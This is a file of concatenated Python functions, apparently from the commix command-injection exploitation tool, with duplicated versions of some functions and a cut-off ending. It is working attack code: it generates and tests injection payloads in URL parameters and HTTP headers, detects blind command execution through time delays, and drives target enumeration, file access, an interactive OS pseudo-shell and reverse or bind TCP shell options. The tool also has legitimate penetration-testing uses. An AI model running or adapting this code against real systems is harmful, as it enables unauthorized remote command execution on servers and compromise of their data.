def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): cmd = menu.options.os_cmd if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Evaluate injection results. shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) shell = "".join(str(p) for p in shell) session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: if shell != "": print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" logs.print_logs_notification(filename, url) else: err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_critical_msg(err_msg) raise SystemExit()
def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): cmd = menu.options.os_cmd if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: if shell != "": print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") logs.print_logs_notification(filename, url) else: err_msg = "The '" + cmd + "' command, does not return any output." print(settings.print_critical_msg(err_msg)) raise SystemExit()
def check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE): os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) if os_shell_option == "back" or os_shell_option == True or os_shell_option == False: go_back = True if os_shell_option == False: go_back_again = True return go_back, go_back_again # The "os_shell" option elif os_shell_option == "os_shell": warn_msg = "You are already into the '" + os_shell_option + "' mode." print(settings.print_warning_msg(warn_msg)) return go_back, go_back_again # The "bind_tcp" option elif os_shell_option == "bind_tcp": go_back, go_back_again = bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE) return go_back, go_back_again # The "reverse_tcp" option elif os_shell_option == "reverse_tcp": go_back, go_back_again = reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE) return go_back, go_back_again # The "quit" option elif os_shell_option == "quit": logs.print_logs_notification(filename, url) raise SystemExit() else: return go_back, go_back_again
def do_check(url, filename): if perform_checks(url, filename) == False: scan_level = menu.options.level while int(scan_level) < int(settings.HTTP_HEADER_INJECTION_LEVEL ) and settings.LOAD_SESSION != True: if not menu.options.batch: question_msg = "Do you want to increase to '--level=" + str( scan_level + 1) question_msg += "' in order to perform more tests? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) next_level = sys.stdin.readline().replace("\n", "").lower() else: next_level = "" if len(next_level) == 0: next_level = "y" if next_level in settings.CHOICE_YES: menu.options.level = int(menu.options.level + scan_level) if perform_checks( url, filename ) == False and scan_level < settings.HTTP_HEADER_INJECTION_LEVEL: scan_level = scan_level + 1 else: break elif next_level in settings.CHOICE_NO: break elif next_level in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + next_level + "' is not a valid answer." print settings.print_error_msg(err_msg) pass # All injection techniques seems to be failed! if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False: if settings.INJECTION_CHECKER == False: err_msg = "All tested parameters " if menu.options.level > 2: err_msg += "and headers " err_msg += "appear to be not injectable." if not menu.options.alter_shell: err_msg += " Try to use the option '--alter-shell'" else: err_msg += " Try to remove the option '--alter-shell'" if menu.options.level < settings.HTTP_HEADER_INJECTION_LEVEL: err_msg += " and/or try to increase '--level' values to perform" err_msg += " more tests (i.e 'User-Agent', 'Referer', 'Cookie' etc)" else: if menu.options.skip_empty: err_msg += " and/or try to remove the option '--skip-empty'" err_msg += "." print settings.print_critical_msg(err_msg) logs.print_logs_notification(filename, url) if not menu.options.bulkfile or settings.EOF: print "" #sys.exit(0) #eof
def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): cmd = menu.options.os_cmd if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) if settings.VERBOSITY_LEVEL >= 1: print ("") return check_how_long, output else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) print(("\n" + Fore.GREEN + Style.BRIGHT + str(output) + Style.RESET_ALL + "\n")) logs.print_logs_notification(filename, url) raise SystemExit()
def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): cmd = menu.options.os_cmd if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) if settings.VERBOSITY_LEVEL >= 1: print "" return check_how_long, output else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) print "\n" + Fore.GREEN + Style.BRIGHT + str(output) + Style.RESET_ALL + "\n" logs.print_logs_notification(filename, url) raise SystemExit()
def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): cmd = menu.options.os_cmd if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) return check_how_long, output else: # if not settings.VERBOSITY_LEVEL >= 1: # print "" output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) print Fore.GREEN + Style.BRIGHT + str(output) + Style.RESET_ALL + "\n" logs.print_logs_notification(filename, url) sys.exit(0)
def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): cmd = menu.options.os_cmd if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Evaluate injection results. shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) shell = "".join(str(p) for p in shell) session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: if shell != "": print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" logs.print_logs_notification(filename, url) else: err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_critical_msg(err_msg) raise SystemExit()
def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): cmd = menu.options.os_cmd if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. shell = eb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell).replace(" ", "", 1) session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: if shell != "": print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" logs.print_logs_notification(filename, url) else: err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_critical_msg(err_msg) raise SystemExit()
def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, url_time_response): counter = 1 num_of_chars = 1 vp_flag = True no_result = True is_encoded = False possibly_vulnerable = False false_positive_warning = False export_injection_info = False how_long = 0 injection_type = "semi-blind command injection" technique = "tempfile-based injection technique" if settings.TIME_RELATIVE_ATTACK == False: warn_msg = "It is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions." print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) settings.TIME_RELATIVE_ATTACK = None # Check if defined "--maxlen" option. if menu.options.maxlen: maxlen = settings.MAXLEN # Check if defined "--url-reload" option. if menu.options.url_reload == True: err_msg = "The '--url-reload' option is not available in " + technique + "!" print(settings.print_critical_msg(err_msg)) if not settings.LOAD_SESSION: # Change TAG on every request to prevent false-positive resutls. TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) if settings.VERBOSITY_LEVEL != 0: info_msg ="Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " print(settings.print_info_msg(info_msg)) #whitespace = checks.check_whitespaces() # Calculate all possible combinations total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) for whitespace in settings.WHITESPACES: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. how_long_statistic = [] if settings.LOAD_SESSION: try: settings.TEMPFILE_BASED_STATE = True cmd = shell = "" url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - timesec OUTPUT_TEXTFILE = tmp_path + TAG + ".txt" except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print(settings.print_critical_msg(err_msg)) raise SystemExit() else: num_of_chars = num_of_chars + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # The output file for file-based injection technique. OUTPUT_TEXTFILE = tmp_path + TAG + ".txt" alter_shell = menu.options.alter_shell tag_length = len(TAG) + 4 for output_length in range(1, int(tag_length)): try: # Tempfile-based decision payload (check if host is vulnerable). if alter_shell : payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) else: payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) # Perform payload modification payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") print(settings.print_payload(payload_msg)) elif settings.VERBOSITY_LEVEL >= 2: debug_msg = "Generating payload for the injection." print(settings.print_debug_msg(debug_msg)) print(settings.print_payload(payload)) # Cookie header injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload) # User-Agent HTTP header injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload) # Referer HTTP header injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload) # Host HTTP header injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to host HTTP header injection. vuln_parameter = parameters.specify_host_parameter(menu.options.host) how_long = tfb_injector.host_injection_test(url, vuln_parameter, payload) # Custom HTTP header injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom HTTP header injection. vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) how_long = tfb_injector.custom_header_injection_test(url, vuln_parameter, payload) else: # Check if target host is vulnerable. how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url) # Statistical analysis in time responses. how_long_statistic.append(how_long) # Injection percentage calculation percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2)) if percent == 100 and no_result == True: if settings.VERBOSITY_LEVEL == 0: percent = settings.FAIL_STATUS else: percent = "" else: if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : # Time relative false positive fixation. false_positive_fixation = False if len(TAG) == output_length: # Simple statical analysis statistical_anomaly = True if len(set(how_long_statistic[0:5])) == 1: if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1: statistical_anomaly = False how_long_statistic = [] if timesec <= how_long and not statistical_anomaly: false_positive_fixation = True else: false_positive_warning = True # Identified false positive warning message. if false_positive_warning: warn_msg = "Unexpected time delays have been identified due to unstable " warn_msg += "requests. This behavior may lead to false-positive results.\n" sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) while True: if not menu.options.batch: question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " proceed_option = _input(settings.print_question_msg(question_msg)) else: proceed_option = "" if len(proceed_option) == 0: proceed_option = "c" if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "s": false_positive_fixation = False raise elif proceed_option.lower() == "c": timesec = timesec + 1 false_positive_fixation = True break elif proceed_option.lower() == "q": raise SystemExit() else: err_msg = "'" + proceed_option + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() # Check if false positive fixation is True. if false_positive_fixation: false_positive_fixation = False settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - timesec if false_positive_warning: time.sleep(1) randv1 = random.randrange(0, 4) randv2 = random.randrange(1, 5) randvcalc = randv1 + randv2 if settings.TARGET_OS == "win": if alter_shell: cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" else: cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")" else: cmd = "echo $((" + str(randv1) + " %2B " + str(randv2) + "))" # Set the original delay time original_how_long = how_long # Check for false positive resutls how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response) if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : if str(output) == str(randvcalc) and len(TAG) == output_length: possibly_vulnerable = True how_long_statistic = 0 if settings.VERBOSITY_LEVEL == 0: percent = settings.info_msg else: percent = "" #break else: break # False positive else: if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue else: if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue if settings.VERBOSITY_LEVEL == 0: info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) if 'cmd' in locals(): # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: if 'cmd' in locals(): # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except EOFError: err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) if 'cmd' in locals(): # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except: percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2)) if str(float_percent) == "100.0": if no_result == True: if settings.VERBOSITY_LEVEL == 0: percent = settings.FAIL_STATUS info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() else: percent = "" else: percent = ".. (" + str(float_percent) + "%)" print(settings.SINGLE_WHITESPACE) # Print logs notification message logs.logs_notification(filename) #raise else: percent = ".. (" + str(float_percent) + "%)" break # Yaw, got shellz! # Do some magic tricks! if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : if (len(TAG) == output_length) and \ (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level): found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if settings.LOAD_SESSION: if whitespace == "%20": whitespace = " " possibly_vulnerable = False if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.HOST_INJECTION == True: header_name = " Host" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method != settings.HTTPMETHOD.POST: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0 : found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) else: checks.total_of_requests() # Print the findings to terminal. info_msg = "The" if len(found_vuln_parameter) > 0 and not "cookie" in header_name : info_msg += " " + http_request_method info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name info_msg += found_vuln_parameter + " seems injectable via " info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) print(settings.print_sub_content(sub_content)) # Export session if not settings.LOAD_SESSION: shell = "" session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level) #possibly_vulnerable = False else: settings.LOAD_SESSION = False # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if settings.TARGET_OS == "win": time.sleep(1) new_line = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True : while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "Y" if enumerate_again in settings.CHOICE_YES: tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) print(settings.SINGLE_WHITESPACE) break elif enumerate_again in settings.CHOICE_NO: new_line = True break elif enumerate_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: if menu.enumeration_options(): tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) print(settings.SINGLE_WHITESPACE) # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : print(settings.SINGLE_WHITESPACE) while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " file_access_again = _input(settings.print_question_msg(question_msg)) else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "Y" if file_access_again in settings.CHOICE_YES: tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) break elif file_access_again in settings.CHOICE_NO: if not new_line: new_line = True break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + file_access_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: # if not menu.enumeration_options() and not menu.options.os_cmd: # print(settings.SINGLE_WHITESPACE) tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Check if defined single cmd. if menu.options.os_cmd: check_how_long, output = tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Export injection result tfb_injector.export_injection_results(cmd, separator, output, check_how_long) # Delete previous shell (text) files (output) from temp. if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) logs.print_logs_notification(filename, url) raise SystemExit() if settings.VERBOSITY_LEVEL != 0 or not new_line: print(settings.SINGLE_WHITESPACE) try: # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " gotshell = _input(settings.print_question_msg(question_msg)) else: gotshell = "" if len(gotshell) == 0: gotshell = "Y" if gotshell in settings.CHOICE_YES: # if not menu.options.batch: # print(settings.SINGLE_WHITESPACE) print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if settings.READLINE_ERROR: checks.no_readline_module() while True: if false_positive_warning: warn_msg = "Due to unexpected time delays, it is highly " warn_msg += "recommended to enable the 'reverse_tcp' option.\n" sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) false_positive_warning = False if not settings.READLINE_ERROR: checks.tab_autocompleter() cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") if go_back and go_back_again == False: break if go_back and go_back_again: return True if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Export injection result tfb_injector.export_injection_results(cmd, separator, output, check_how_long) if not menu.options.ignore_session : session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, output) print("\n" + settings.print_output(output) + "\n") # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, output) elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break else: if no_result == True: return False else: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) return True elif gotshell in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass except KeyboardInterrupt: if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except EOFError: err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise if no_result == True: if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) return False else : sys.stdout.write("\r") sys.stdout.flush()
def main(filename, url): try: # Ignore the mathematic calculation part (Detection phase). if menu.options.skip_calc: settings.SKIP_CALC = True if menu.options.enable_backticks: settings.USE_BACKTICKS = True # Target URL reload. if menu.options.url_reload and menu.options.data: settings.URL_RELOAD = True if menu.options.header is not None and settings.INJECT_TAG in menu.options.header or \ menu.options.headers is not None and settings.INJECT_TAG in menu.options.headers: info_msg = "Injection marker found in option '--header(s)/--user-agent/--referer/--cookie'." print(settings.print_info_msg(info_msg)) if menu.options.test_parameter: err_msg = "The options '-p' and the injection marker cannot be used " err_msg += "simultaneously (i.e. only one option must be set)." print(settings.print_critical_msg(err_msg)) raise SystemExit if menu.options.test_parameter and menu.options.skip_parameter: if type(menu.options.test_parameter) is bool: menu.options.test_parameter = None else: err_msg = "The options '-p' and '--skip' cannot be used " err_msg += "simultaneously (i.e. only one option must be set)." print(settings.print_critical_msg(err_msg)) raise SystemExit if menu.options.ignore_session: # Ignore session session_handler.ignore(url) # Check provided parameters for tests if menu.options.test_parameter or menu.options.skip_parameter: if menu.options.test_parameter != None: if menu.options.test_parameter.startswith("="): menu.options.test_parameter = menu.options.test_parameter[ 1:] settings.TEST_PARAMETER = menu.options.test_parameter.split( settings.PARAMETER_SPLITTING_REGEX) elif menu.options.skip_parameter != None: if menu.options.skip_parameter.startswith("="): menu.options.skip_parameter = menu.options.skip_parameter[ 1:] settings.TEST_PARAMETER = menu.options.skip_parameter.split( settings.PARAMETER_SPLITTING_REGEX) for i in range(0, len(settings.TEST_PARAMETER)): if "=" in settings.TEST_PARAMETER[i]: settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[ i].split("=")[0] # Check injection level, due to the provided testable parameters. if menu.options.level < 2 and 